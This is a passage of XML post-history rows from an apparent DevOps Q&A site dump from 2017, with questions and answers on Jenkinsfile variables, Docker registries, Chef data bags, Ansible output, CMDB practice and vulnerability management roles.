startup variable for e.g in JVM it is -D and maintain a separate repo for all the configurations and execute the same using a config management tool like Ansible/Salt , Chef. This way you decouple platform code form configuration / dependent resources and keep the code base rolling with new features without depending upon the environment." ContentLicense="CC BY-SA 3.0" />
  <row Id="5805" PostHistoryTypeId="2" PostId="1846" RevisionGUID="fdbc6797-a0c8-4443-b4f5-c9e3accaec64" CreationDate="2017-08-24T23:15:14.050" UserId="4082" Text="Using the env.BRANCH_NAME variable accessible in the Jenkinsfile outside of the pipeline{} block, I have set up a variable used to conditionally set the node used to build the git branch. I would like to also access the name of the developer who committed the change, but I do not know how to access it.&#xD;&#xA;&#xD;&#xA;I need a variable assigned before the pipeline block to assign to pipeline { agent { label selected_agent }}. If I attempt to use a method call instead of a variable there, the Java parser complains:&#xD;&#xA;&#xD;&#xA;java.lang.ClassCastException: org.jenkinsci.plugins.pipeline.modeldefinition.agent.impl.Label.label expects class java.lang.String but received class org.jenkinsci.plugins.pipeline.modeldefinition.ClosureModelTranslator&#xD;&#xA;&#xD;&#xA;I cannot run code inside the pipeline block before the agent block to define the variable, and the agent block has to be the first part of the pipeline declaration.&#xD;&#xA;&#xD;&#xA;If I could run bash commands, I could access the author's name, and in fact I do use it at the end of the Jenkinsfile to pull the git committer's name for the status email, but if I attempt to use sh() before the pipeline block I get this error:&#xD;&#xA;&#xD;&#xA;Required context class hudson.FilePath is missing&#xD;&#xA;Perhaps you forgot to surround the code with a step that provides this, such as: node&#xD;&#xA;&#xD;&#xA;I am not sure what else to try. Does anyone have a suggestion?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5806" PostHistoryTypeId="1" PostId="1846" RevisionGUID="fdbc6797-a0c8-4443-b4f5-c9e3accaec64" CreationDate="2017-08-24T23:15:14.050" UserId="4082" Text="Accessing the committer's name as a Jenkinsfile environment variable" ContentLicense="CC BY-SA 3.0" />
  <row Id="5807" PostHistoryTypeId="3" PostId="1846" RevisionGUID="fdbc6797-a0c8-4443-b4f5-c9e3accaec64" CreationDate="2017-08-24T23:15:14.050" UserId="4082" Text="&lt;jenkins&gt;&lt;jenkinsfile&gt;&lt;environment-variables&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5808" PostHistoryTypeId="5" PostId="1846" RevisionGUID="b3eace75-c270-471d-8b4e-97a7be511184" CreationDate="2017-08-25T02:31:17.450" UserId="739" Comment="formatting" Text="Using the `env.BRANCH_NAME` variable accessible in the Jenkinsfile outside of the `pipeline{}` block, I have set up a variable used to conditionally set the node used to build the git branch. I would like to also access the name of the developer who committed the change, but I do not know how to access it.&#xD;&#xA;&#xD;&#xA;I need a variable assigned before the pipeline block to assign to `pipeline { agent { label selected_agent }}`. If I attempt to use a method call instead of a variable there, the Java parser complains:&#xD;&#xA;&#xD;&#xA;`java.lang.ClassCastException: org.jenkinsci.plugins.pipeline.modeldefinition.agent.impl.Label.label expects class java.lang.String but received class org.jenkinsci.plugins.pipeline.modeldefinition.ClosureModelTranslator`&#xD;&#xA;&#xD;&#xA;I cannot run code inside the pipeline block before the agent block to define the variable, and the agent block has to be the first part of the pipeline declaration.&#xD;&#xA;&#xD;&#xA;If I could run bash commands, I could access the author's name, and in fact I do use it at the end of the Jenkinsfile to pull the git committer's name for the status email, but if I attempt to use sh() before the pipeline block I get this error:&#xD;&#xA;&#xD;&#xA;    Required context class hudson.FilePath is missing&#xD;&#xA;    Perhaps you forgot to surround the code with a step that provides this, such as: node&#xD;&#xA;&#xD;&#xA;I am not sure what else to try. Does anyone have a suggestion?&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5809" PostHistoryTypeId="24" PostId="1846" RevisionGUID="b3eace75-c270-471d-8b4e-97a7be511184" CreationDate="2017-08-25T02:31:17.450" Comment="Proposed by 739 approved by -1 edit id of 412" ContentLicense="CC BY-SA 3.0" />
  <row Id="5810" PostHistoryTypeId="5" PostId="1846" RevisionGUID="2b334151-c928-4940-bd28-e616a5db3f61" CreationDate="2017-08-25T02:31:17.450" UserId="47" Comment="formatting" Text="Using the `env.BRANCH_NAME` variable accessible in the Jenkinsfile outside of the `pipeline{}` block, I have set up a variable used to conditionally set the node used to build the git branch. I would like to also access the name of the developer who committed the change, but I do not know how to access it.&#xD;&#xA;&#xD;&#xA;I need a variable assigned before the pipeline block to assign to `pipeline { agent { label selected_agent }}`. If I attempt to use a method call instead of a variable there, the Java parser complains:&#xD;&#xA;&#xD;&#xA;&gt; java.lang.ClassCastException:&#xD;&#xA;&gt; org.jenkinsci.plugins.pipeline.modeldefinition.agent.impl.Label.label&#xD;&#xA;&gt; expects class java.lang.String but received class&#xD;&#xA;&gt; org.jenkinsci.plugins.pipeline.modeldefinition.ClosureModelTranslator&#xD;&#xA;&#xD;&#xA;I cannot run code inside the pipeline block before the agent block to define the variable, and the agent block has to be the first part of the pipeline declaration.&#xD;&#xA;&#xD;&#xA;If I could run bash commands, I could access the author's name, and in fact I do use it at the end of the Jenkinsfile to pull the git committer's name for the status email, but if I attempt to use sh() before the pipeline block I get this error:&#xD;&#xA;&#xD;&#xA;    Required context class hudson.FilePath is missing&#xD;&#xA;    Perhaps you forgot to surround the code with a step that provides this, such as: node&#xD;&#xA;&#xD;&#xA;I am not sure what else to try. Does anyone have a suggestion?&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5811" PostHistoryTypeId="2" PostId="1847" RevisionGUID="62e54e7d-7967-4d69-aa1a-341856c9d154" CreationDate="2017-08-25T06:53:32.503" UserId="2765" Text="We are using AWS **EC2 container services** and we are using Amazon container registry but the problem with container registry is that it's only available in one region although it's have URI but is **docker hub repository** is good to go with EC2 container services or using Amazon ECR.&#xA;Thanks" ContentLicense="CC BY-SA 3.0" />
  <row Id="5812" PostHistoryTypeId="1" PostId="1847" RevisionGUID="62e54e7d-7967-4d69-aa1a-341856c9d154" CreationDate="2017-08-25T06:53:32.503" UserId="2765" Text="Docker image registries" ContentLicense="CC BY-SA 3.0" />
  <row Id="5813" PostHistoryTypeId="3" PostId="1847" RevisionGUID="62e54e7d-7967-4d69-aa1a-341856c9d154" CreationDate="2017-08-25T06:53:32.503" UserId="2765" Text="&lt;docker&gt;&lt;amazon-web-services&gt;&lt;amazon-ecs&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5814" PostHistoryTypeId="2" PostId="1848" RevisionGUID="ed62f2ec-f966-4ed8-b826-dce5828e3cfe" CreationDate="2017-08-25T07:55:06.153" UserId="3869" Text="It depends on several factors.&#xD;&#xA;&#xD;&#xA;If your images can be public or must be private. If you can make a public image, docker hub could work.&#xD;&#xA;&#xD;&#xA;With ECR you will have a fine grain control of your permissions, integrated with IAM&#xD;&#xA;&#xD;&#xA;On the other hand, ECR it's only available on one region so if you pull an image from a different region you will be charged for that traffic and the latency could be a problem so if you need a multi-region registry yo should implement that mechanism by yourself.&#xD;&#xA;&#xD;&#xA;In brief, I wouldn't use public registry for production applications. You'll have more control with a private registry like ECR or other 3rd party solutions." ContentLicense="CC BY-SA 3.0" />
  <row Id="5815" PostHistoryTypeId="11" PostId="1815" RevisionGUID="efa185aa-54c5-488b-8677-ba00f114cb46" CreationDate="2017-08-25T09:01:22.967" UserId="46" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;},{&quot;Id&quot;:46,&quot;DisplayName&quot;:&quot;Dawny33&quot;}]}" />
  <row Id="5816" PostHistoryTypeId="2" PostId="1849" RevisionGUID="b4c49620-7e5b-4020-b4c7-78d5751dd242" CreationDate="2017-08-25T09:10:11.600" UserId="707" Text="In first place I look for default JIRA functionality e.g. without 3rd party plugins to simlify and improve the issue workflow.&#xD;&#xA;&#xD;&#xA;Examples:&#xD;&#xA;&#xD;&#xA; - Simple: Template for an acceptable bug report&#xD;&#xA; - Probably, less simple: Set specific keywords if issue is created by a specific user e.g. &quot;ops&quot; for issues created by myself because I am currently in an Ops team. :-)" ContentLicense="CC BY-SA 3.0" />
  <row Id="5817" PostHistoryTypeId="1" PostId="1849" RevisionGUID="b4c49620-7e5b-4020-b4c7-78d5751dd242" CreationDate="2017-08-25T09:10:11.600" UserId="707" Text="Is it possible to template JIRA issues with pre-filled field contents?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5818" PostHistoryTypeId="3" PostId="1849" RevisionGUID="b4c49620-7e5b-4020-b4c7-78d5751dd242" CreationDate="2017-08-25T09:10:11.600" UserId="707" Text="&lt;jira&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5819" PostHistoryTypeId="2" PostId="1850" RevisionGUID="0122f417-5392-4023-9b24-ed6108045512" CreationDate="2017-08-25T12:53:50.550" UserId="13" Text="Considering your first paragraph, the organization you're describing is a highly siloed org, which is exactly what a DevOps organization tend to avoid.&#xD;&#xA;&#xD;&#xA;&gt; Considering this challenge, within DevOps there is a requirement to&#xD;&#xA;&gt; define and document all the components that constitute the various&#xD;&#xA;&gt; technology stacks within an IT environment. Traditionally this might&#xD;&#xA;&gt; have been accomplished with a propriety CMDB solution.&#xD;&#xA;&#xD;&#xA;What you're describing here could be ITIL, which is a management system requiring documentation and you mix it with the fact a DevOps team will usually define the underlying layers as code, as such it gets back to any development documentation with the caveats of [Code is Documentation](https://www.scrumalliance.org/community/articles/2013/august/the-code-is-the-documentation) often seen in Scrum methodology for an agile methodology of development (quick and short iterations aiming at minimal working solution at end of the iteration)&#xD;&#xA;&#xD;&#xA;Disclaimer for the rest of this answer: I know more of chef and inspec and that's why I take them as exemple here; but they are not the only tools existing on the market, I won't open a debate on them as the better one is the one you're more comfortable with.&#xD;&#xA;&#xD;&#xA;As such the rest of the question is a little biased and I, personally, didn't encounter an organization documenting the layer relation you describe more than the infrastructure as code and configuration management system code documentation. (Again, this doesn't mean no-one does it, I just never heard of it).  &#xD;&#xA;To illustrate from my company in a chef environment, an application cookbook will declare its dependencies (tomcat, jboss, nginx/php and on which OS, needed mount points for some shared datas and its DB schema name mostly) and expose its services URIs to be consumed by chef for other applications configuration, this sound like defining your 'Finance System' and the documentation for it is on this application cookbook README, with some more files if really needed.&#xD;&#xA;&#xD;&#xA;Configuration management systems usually have a central reporting place, &quot;chef-server&quot; for datas an &quot;manage UI&quot; for presentation in chef world &quot;ansible tower&quot; for ansible world to name two of them, but they usually aim more at giving an oversight of the overall managed system than graphing the dependencies. &#xD;&#xA;&#xD;&#xA;That said, for chef, the chef-server also act as a CMDB you can query with various tools (it return JSON datas from HTTP requests), the inter applications dependencies can be expressed in various way and there's no 'out of the box' method, each company will have its own way to declare them in the system for configuration purposes and as such you may leverage this to build your graph, but that's on your side.&#xD;&#xA;&#xD;&#xA;In an infrastructure as code point of view, the infrastructure needs would be kept with the application, it is still the application who know what it needs under as middle-ware, which OS, with which locale, what are other services dependencies and what services this application offer).&#xD;&#xA;&#xD;&#xA;Last thing I can think of if you want to manage those dependencies for documentation only are tools like [glpi](http://glpi-project.org/) which is mainly a CMDB and a ticketing system, it takes advantage of documenting assets and their relation to be able to tell what is impacted when you open a ticket saying an application is down. coupled with ng-inventory it allows to query system states and as such can fulfill your query for patch needs, but in my opinion this is an audit system task, like could do inspect integrated within a chef run for exemple, as the next phase would be to fix the outdated systems by updating/patching them.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5820" PostHistoryTypeId="2" PostId="1851" RevisionGUID="71776f8c-767c-4e5f-80ba-02c4b963c7bb" CreationDate="2017-08-25T16:02:25.737" UserId="1208" Text="Hi I got stuck with one of the scenario, I have two environments Dev and Prod. I need to pass different values in dev and different vales in prod. So how can I manage it using one Data bag. this is my general Data bag in dev environment&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;    &quot;id&quot;:&quot;Databag_item&quot;,&#xD;&#xA;    &quot;username&quot;: &quot;username&quot;,&#xD;&#xA;    &quot;passwd&quot;: &quot;****&quot;,&#xD;&#xA;    &quot;jdbc_password&quot;: &quot;****&quot;&#xD;&#xA;    }&#xD;&#xA;I am using this data bag in Dev environment, so I have to pass different username, passwd and jdbc password for prod environment. How can I do this? I am planning to do in below manner&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;     &quot;id&quot;: &quot;some_data_bag_item&quot;,&#xD;&#xA;     &quot;production&quot; : {&#xD;&#xA;      # Hash with all your data here&#xD;&#xA;     },&#xD;&#xA;      &quot;testing&quot; : {&#xD;&#xA;       # Hash with all your data here&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Is this is a right way? Do we need to add anything else in recipe?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5821" PostHistoryTypeId="1" PostId="1851" RevisionGUID="71776f8c-767c-4e5f-80ba-02c4b963c7bb" CreationDate="2017-08-25T16:02:25.737" UserId="1208" Text="Managing Data bags in different environments" ContentLicense="CC BY-SA 3.0" />
  <row Id="5822" PostHistoryTypeId="3" PostId="1851" RevisionGUID="71776f8c-767c-4e5f-80ba-02c4b963c7bb" CreationDate="2017-08-25T16:02:25.737" UserId="1208" Text="&lt;chef&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5823" PostHistoryTypeId="5" PostId="1851" RevisionGUID="9118e1f3-44d0-4dee-9b27-a2b23fdc8558" CreationDate="2017-08-25T16:48:53.720" UserId="1208" Comment="added 61 characters in body" Text="Hi I got stuck with one of the scenario, I have two environments Dev and Prod. I need to pass different values in dev and different vales in prod. So how can I manage it using one Data bag. this is my general Data bag in dev environment&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;    &quot;id&quot;:&quot;Databag_item&quot;,&#xD;&#xA;    &quot;username&quot;: &quot;username&quot;,&#xD;&#xA;    &quot;passwd&quot;: &quot;****&quot;,&#xD;&#xA;    &quot;jdbc_password&quot;: &quot;****&quot;&#xD;&#xA;    }&#xD;&#xA;I am using this data bag in Dev environment, so I have to pass different username, passwd and jdbc password for prod environment. How can I do this? I am planning to do in below manner&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;     &quot;id&quot;: &quot;some_data_bag_item&quot;,&#xD;&#xA;     &quot;production&quot; : {&#xD;&#xA;      # Hash with all your data here&#xD;&#xA;     },&#xD;&#xA;      &quot;testing&quot; : {&#xD;&#xA;       # Hash with all your data here&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Is this is a right way? Do we need to add anything else in recipe? Do chef will find out which environment it is automatically?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5824" PostHistoryTypeId="5" PostId="1851" RevisionGUID="ed854710-c461-41b9-b49a-864051b0b06c" CreationDate="2017-08-25T16:59:14.330" UserId="1208" Comment="added 46 characters in body" Text="Hi I got stuck with one of the scenario, I have two environments Dev and Prod. I need to pass different values in dev and different vales in prod. So how can I manage it using one Data bag. this is my general Data bag in dev environment&#xD;&#xA;&#xD;&#xA;   I am using this data bag in Dev environment, so I have to pass different username, passwd and jdbc password for prod environment. How can I do this? I am planning to do in below manner&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;     &quot;id&quot;: &quot;some_data_bag_item&quot;,&#xD;&#xA;     &quot;production&quot; : {&#xD;&#xA;     &quot;id&quot;:&quot;Databag_item&quot;,&#xD;&#xA;     &quot;username&quot;: &quot;username&quot;,&#xD;&#xA;     &quot;passwd&quot;: &quot;****&quot;,&#xD;&#xA;     &quot;jdbc_password&quot;: &quot;****&quot;&#xD;&#xA;    }&#xD;&#xA;     },&#xD;&#xA;      &quot;testing&quot; : {&#xD;&#xA;        &quot;id&quot;:&quot;Databag_item&quot;,&#xD;&#xA;        &quot;username&quot;: &quot;username&quot;,&#xD;&#xA;        &quot;passwd&quot;: &quot;****&quot;,&#xD;&#xA;        &quot;jdbc_password&quot;: &quot;****&#xD;&#xA;      }&#xD;&#xA;     }&#xD;&#xA;&#xD;&#xA;Is this is a right way? Do we need to add anything else in recipe? Do chef will find out which environment it is automatically?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5825" PostHistoryTypeId="2" PostId="1852" RevisionGUID="a348c34e-1c56-4cd8-a287-a31ed6a5e831" CreationDate="2017-08-25T18:25:26.257" UserId="707" Text="Every CI tool defines more or less &quot;their&quot; view on how integration and delivery can work, and every DevOps team (re)invents their specific way to support the business using these tools.&#xD;&#xA;&#xD;&#xA;But, how could you to define and execute high-level business logic?&#xD;&#xA;&#xD;&#xA;Here are two examples from daily work:&#xD;&#xA;&#xD;&#xA; - A feature branch get merged into develop branch, followed by a successful build and a deployment via Docker Swarm, followed by a series of automated acceptance test. High-level business event: you can take a record of an upstream feature increment. How to aggregate those low-level events to the high-level event?&#xD;&#xA; - Or, image a CI system is going to start a complex build. From previous statistics, it &quot;knows&quot; that the build requires many resources. Could this system be able to issue a resources request to the underlying elastic cloud environment and acquire additional CPU/RAM just for the time of the build?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5826" PostHistoryTypeId="1" PostId="1852" RevisionGUID="a348c34e-1c56-4cd8-a287-a31ed6a5e831" CreationDate="2017-08-25T18:25:26.257" UserId="707" Text="Defining and processing high-level DevOps events" ContentLicense="CC BY-SA 3.0" />
  <row Id="5827" PostHistoryTypeId="3" PostId="1852" RevisionGUID="a348c34e-1c56-4cd8-a287-a31ed6a5e831" CreationDate="2017-08-25T18:25:26.257" UserId="707" Text="&lt;automation&gt;&lt;integration&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5828" PostHistoryTypeId="2" PostId="1853" RevisionGUID="432514b9-b3f6-4332-9b36-0b8f336e2c95" CreationDate="2017-08-25T21:49:16.340" UserId="210" Text="https://www.digitalocean.com/community/tutorials/how-to-use-roles-and-environments-in-chef-to-control-server-configurations&#xD;&#xA;&#xD;&#xA;&gt; For instance, if a node is in the &quot;production&quot; environment, you could&#xD;&#xA;&gt; want to run a special recipe in your &quot;nginx&quot; cookbook to bring that&#xD;&#xA;&gt; server up to production policy requirements. You could also have a&#xD;&#xA;&gt; recipe in the nginx cookbook meant to configure special changes for&#xD;&#xA;&gt; testing servers.&#xD;&#xA;&#xD;&#xA;Example&#xD;&#xA;&#xD;&#xA;&gt;     name &quot;web_server&quot;&#xD;&#xA;&gt;     description &quot;A role to configure our front-line web servers&quot;&#xD;&#xA;&gt;     run_list &quot;recipe[apt]&quot;, &quot;recipe[nginx]&quot;&#xD;&#xA;&gt;     env_run_lists &quot;production&quot; =&gt; [&quot;recipe[nginx::config_prod]&quot;], &quot;testing&quot; =&gt; [&quot;recipe[nginx::config_test]&quot;]" ContentLicense="CC BY-SA 3.0" />
  <row Id="5829" PostHistoryTypeId="2" PostId="1854" RevisionGUID="d0267cb1-aaea-4450-a63a-cee532e8ae21" CreationDate="2017-08-25T21:54:50.907" UserId="210" Text="Making a distinction between Ops, Dev and DevOps promotes isolation and enforces a &quot;throw it over the wall&quot; mindset. To increase cooperation between teams one should put everything in a repository that is required to build and deploy the project. &#xD;&#xA;&#xD;&#xA;Having said that, the answer to the question &#xD;&#xA;&#xD;&#xA;&gt; How to structure DevOps related code and configs in a code repository?&#xD;&#xA;&#xD;&#xA;is that if config is required to run the project then one should put it in the same directory." ContentLicense="CC BY-SA 3.0" />
  <row Id="5830" PostHistoryTypeId="5" PostId="1854" RevisionGUID="a3243623-01ce-4684-88a8-9859d946af46" CreationDate="2017-08-25T22:02:11.067" UserId="210" Comment="added 1 character in body" Text="Making a distinction between Ops, Dev and DevOps promotes isolation and enforces a &quot;throw it over the wall&quot; mindset. To increase cooperation between teams one should put everything in a repository that is required to build and deploy the project. &#xD;&#xA;&#xD;&#xA;Having said that, the answer to the question: &#xD;&#xA;&#xD;&#xA;&gt; How to structure DevOps related code and configs in a code repository?&#xD;&#xA;&#xD;&#xA;is that if config is required to run the project then one should put it in the same directory." ContentLicense="CC BY-SA 3.0" />
  <row Id="5832" PostHistoryTypeId="50" PostId="1592" RevisionGUID="a71fe2b9-a30b-48d3-a97b-f90adcb5c07b" CreationDate="2017-08-26T08:42:19.123" UserId="-1" />
  <row Id="5833" PostHistoryTypeId="5" PostId="1852" RevisionGUID="a83abb48-ae7d-4fb2-8bd4-79d3d7ba6c10" CreationDate="2017-08-26T10:55:18.537" UserId="707" Comment="added 3 characters in body" Text="Every CI tool defines more or less &quot;their&quot; view on how integration and delivery can work, and every DevOps team (re)invents their specific way to support the business using these tools.&#xD;&#xA;&#xD;&#xA;But, how could you to define and execute high-level business logic?&#xD;&#xA;&#xD;&#xA;Here are two examples from daily work:&#xD;&#xA;&#xD;&#xA; - A feature branch get merged into develop branch, followed by a successful build and a deployment via Docker Swarm, followed by a series of automated acceptance tests. High-level business event: you can take a record of an upstream feature increment. How to aggregate those low-level events to the high-level event?&#xD;&#xA; - Or, imagine a CI system is going to start a complex build. From previous statistics, it &quot;knows&quot; that the build requires many resources. Could this system be able to issue a resources request to the underlying elastic cloud environment and acquire additional CPU/RAM just for the time of the build?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5834" PostHistoryTypeId="50" PostId="1570" RevisionGUID="05845853-dbe2-4c6b-934d-a083d59b9d48" CreationDate="2017-08-26T10:57:54.387" UserId="-1" />
  <row Id="5835" PostHistoryTypeId="2" PostId="1855" RevisionGUID="116703cf-cf21-42db-8f5c-88ac979a0c20" CreationDate="2017-08-26T11:49:17.257" UserId="4031" Text="Since you reference the handling of vulnerabilities specifically in your question, I'll speak to this regarding how we handle this within our organization and group of companies.&#xD;&#xA;&#xD;&#xA;We have an Information Security department who are responsible to monitoring and detecting vulnerabilities. You could think of this team as being responsible to technical information security management. When vulnerabilities are detected using regular scan with tools such as [Nessus][1] or published [US-CERT][2] by the information security community, this team passes these vulnerabilities to each Information Security Officer within the group.&#xD;&#xA;&#xD;&#xA;The Information Security Officer, who is responsible and accountable for risk management, is tasked at a high level with:&#xD;&#xA;&#xD;&#xA; - Establishing Information Security Policy, Standards, Procedures and Guidelines&#xD;&#xA; - Promoting Information Security Awareness&#xD;&#xA; - Completing Information Security Assessments and Audits&#xD;&#xA;&#xD;&#xA;Having received the information regarding vulnerabilities, the Information Security Officer evaluates the vulnerability, determines the criticality of the vulnerability and it's impact on the business applications and environment. This information is then given to the appropriate Development Manager.&#xD;&#xA;&#xD;&#xA;Development Managers are responsible and accountable for supplier and vendor management. Business Applications are allocated by business domain to various Development Managers. The Development Managers work with either a vendor and/or their own Scrum team to resolve the vulnerabilities withing their domain. Should specialist advice be required, this is provided by the Information Security Officer.&#xD;&#xA;  &#xD;&#xA;Regarding your possible options.&#xD;&#xA;&#xD;&#xA; - Scrum teams might well lack the organizational clout to negotiate and compel vendors to address vulnerabilities quickly. It's also unlikely that the scrum teams themselves would have been in a position to ensure that all the correct legal clauses have been put into the vendor and supplier contracts to ensure that there is an obligation to handle vulnerabilities within a given SLA.&#xD;&#xA; - Maintaining a central function ought to work to a degree, however as you point out they would lack the full context. Three tiers of management, covering three different aspects will address this short coming.&#xD;&#xA; - A 3rd Party automated service will be able to alert you to vulnerabilities, but it will not necessarily be able to correlate those results to a specific business application, and as a consequence a given vendor or supplier. You will still need individual people to manage this aspect.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.tenable.com/products/nessus-vulnerability-scanner&#xD;&#xA;  [2]: https://www.us-cert.gov/ncas/alerts" ContentLicense="CC BY-SA 3.0" />
  <row Id="5836" PostHistoryTypeId="5" PostId="1835" RevisionGUID="be89db7b-455a-4691-88b9-1c2c12eab488" CreationDate="2017-08-26T12:51:52.600" UserId="3721" Comment="added 254 characters in body" Text="In Ansible, we are running a playbook using `ansible-playbook playbookname.yaml`. The ouput will be multiple lines. I need ouput in single line.  idonot want below &#xD;&#xA;output.&#xD;&#xA;PLAY [localhost] **************************************************************&#xD;&#xA;&#xD;&#xA;GATHERING FACTS ***************************************************************&#xD;&#xA;ok: [localhost]&#xD;&#xA;localhost                  : ok=3    changed=1    unreachable=0    failed=0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5837" PostHistoryTypeId="4" PostId="1835" RevisionGUID="af4f9b03-e93c-40b7-a86f-4adeeffbaf27" CreationDate="2017-08-26T14:16:01.820" UserId="3721" Comment="edited title" Text="How to get Ansible playbook ouput in one line?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5838" PostHistoryTypeId="5" PostId="1835" RevisionGUID="af4f9b03-e93c-40b7-a86f-4adeeffbaf27" CreationDate="2017-08-26T14:16:01.820" UserId="3721" Comment="edited title" Text="In Ansible, we are running a playbook using `ansible-playbook playbookname.yaml`. The ouput will be multiple lines (like below) I need ouput in single line.&#xD;&#xA;&#xD;&#xA;PLAY [localhost] **************************************************************&#xD;&#xA;GATHERING FACTS ***************************************************************&#xD;&#xA;localhost                  : ok=3    changed=1    unreachable=0    failed=0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5840" PostHistoryTypeId="11" PostId="1835" RevisionGUID="1b6d82cd-7f32-4a2c-bf4d-d91d2b3fd19d" CreationDate="2017-08-27T03:22:28.557" UserId="46" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:46,&quot;DisplayName&quot;:&quot;Dawny33&quot;}]}" />
  <row Id="5841" PostHistoryTypeId="5" PostId="1835" RevisionGUID="76a4c954-77ca-4654-aafd-6c4ac9ab1d2a" CreationDate="2017-08-27T03:22:35.500" UserId="739" Comment="formatting and copy edit" Text="In Ansible we are running a playbook using `ansible-playbook playbookname.yaml`. The output will be multiple lines (like below). I need output in single line.  How can I get that?&#xD;&#xA;&#xD;&#xA;    PLAY [localhost] **************************************************************&#xD;&#xA;    GATHERING FACTS ***************************************************************&#xD;&#xA;    localhost                  : ok=3    changed=1    unreachable=0    failed=0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5842" PostHistoryTypeId="24" PostId="1835" RevisionGUID="76a4c954-77ca-4654-aafd-6c4ac9ab1d2a" CreationDate="2017-08-27T03:22:35.500" Comment="Proposed by 739 approved by 46 edit id of 413" ContentLicense="CC BY-SA 3.0" />
  <row Id="5843" PostHistoryTypeId="5" PostId="1361" RevisionGUID="66e1266c-adec-4193-ae1a-aefaacac6997" CreationDate="2017-08-27T03:22:39.000" UserId="60" Comment="Improved the list of references - used page titles as link texts" Text="Today, for many domains there is a semantic ontology for making domain data machine-readable.&#xD;&#xA;There are quite many terms in the DevOps and related domains, often established by vendors but applicable to other tools, like declarative pipelines in Jenkins.&#xD;&#xA;&#xD;&#xA;What are current efforts to establish the ontology of the DevOps domain?&#xD;&#xA;&#xD;&#xA;References/Further reading:&#xD;&#xA;&#xD;&#xA;* [Ontology Development 101: A Guide to Creating Your First Ontology][1] &#xD;&#xA;* [Ontology (information science)][2]&#xD;&#xA;* [Ontology repositories][3]&#xD;&#xA;* [Ontology for Media Resources 1.0][4]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://protege.stanford.edu/publications/ontology_development/ontology101-noy-mcguinness.html&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Ontology_(information_science)&#xD;&#xA;  [3]: https://www.w3.org/wiki/Ontology_repositories&#xD;&#xA;  [4]: https://www.w3.org/TR/mediaont-10/" ContentLicense="CC BY-SA 3.0" />
  <row Id="5844" PostHistoryTypeId="24" PostId="1361" RevisionGUID="66e1266c-adec-4193-ae1a-aefaacac6997" CreationDate="2017-08-27T03:22:39.000" Comment="Proposed by 60 approved by 46 edit id of 415" ContentLicense="CC BY-SA 3.0" />
  <row Id="5845" PostHistoryTypeId="5" PostId="1194" RevisionGUID="deb31391-841e-4c2e-807d-f799fa2a2b74" CreationDate="2017-08-27T03:22:44.317" UserId="60" Comment="Splitted into paragraphs for better readability, removed irrelevant footer" Text="By and large docker provides many advantages for both developers and operations personnel. I use docker for some of my applications and find it to be a very reliable and robust approach. &#xD;&#xA;&#xD;&#xA;My issue with you adopting docker is that I do not hear you asking the right questions and you could potentially make your life more complicated without addressing your most important requirements. &#xD;&#xA;&#xD;&#xA;The first question you should ask (you said that you were new) is how are updates to the OS &amp; application handled now? Does the current methodology work for you (your company)? What works well? What could be improved? Can you do a physical configuration audit on your target machines in the field to verify that they have the correct OS patches, application &amp; were there any unauthorized changes. &#xD;&#xA;&#xD;&#xA;I love docker, but I would not jump on the docker bandwagon without first assessing where you are right now including what works well and what needs to be improved. " ContentLicense="CC BY-SA 3.0" />
  <row Id="5846" PostHistoryTypeId="24" PostId="1194" RevisionGUID="deb31391-841e-4c2e-807d-f799fa2a2b74" CreationDate="2017-08-27T03:22:44.317" Comment="Proposed by 60 approved by 46 edit id of 414" ContentLicense="CC BY-SA 3.0" />
  <row Id="5847" PostHistoryTypeId="5" PostId="1536" RevisionGUID="b9d244d1-a41c-4122-a764-66f320c897c9" CreationDate="2017-08-27T03:38:59.517" UserId="739" Comment="not &quot;the&quot; DevOps" Text="# Yes but&#xD;&#xA;&#xD;&#xA;It is hard to deny James and Tensibai's sentiments that we are hard to define.  I've probably offended a few job interviewers by pointing out DevOps means whatever you want it to mean at the time.  Vendors and the press in computing are not very motivated by correctness or conformity so any popular term will get muddied in a similar fashion.&#xD;&#xA;&#xD;&#xA;# There is ITIL&#xD;&#xA;&#xD;&#xA;But that doesn't mean some people aren't trying to create a common language for us to talk about operations and processes.  While I haven't seen anyone applying it in the real world, there is [ITIL](https://en.wikipedia.org/wiki/ITIL).  As Wikipedia tells us:&#xD;&#xA;&#xD;&#xA;&gt; ITIL, formally an acronym for Information Technology Infrastructure Library, is a set of detailed practices for IT service management (ITSM) that focuses on aligning IT services with the needs of business. In its current form (known as ITIL 2011), ITIL is published as a series of five core volumes, each of which covers a different ITSM lifecycle stage. Although ITIL underpins ISO/IEC 20000 (previously BS 15000), the International Service Management Standard for IT service management, there are some differences between the ISO 20000 standard and the ITIL framework.&#xD;&#xA;&#xD;&#xA;&gt; ITIL describes processes, procedures, tasks, and checklists which are not organization-specific, but can be 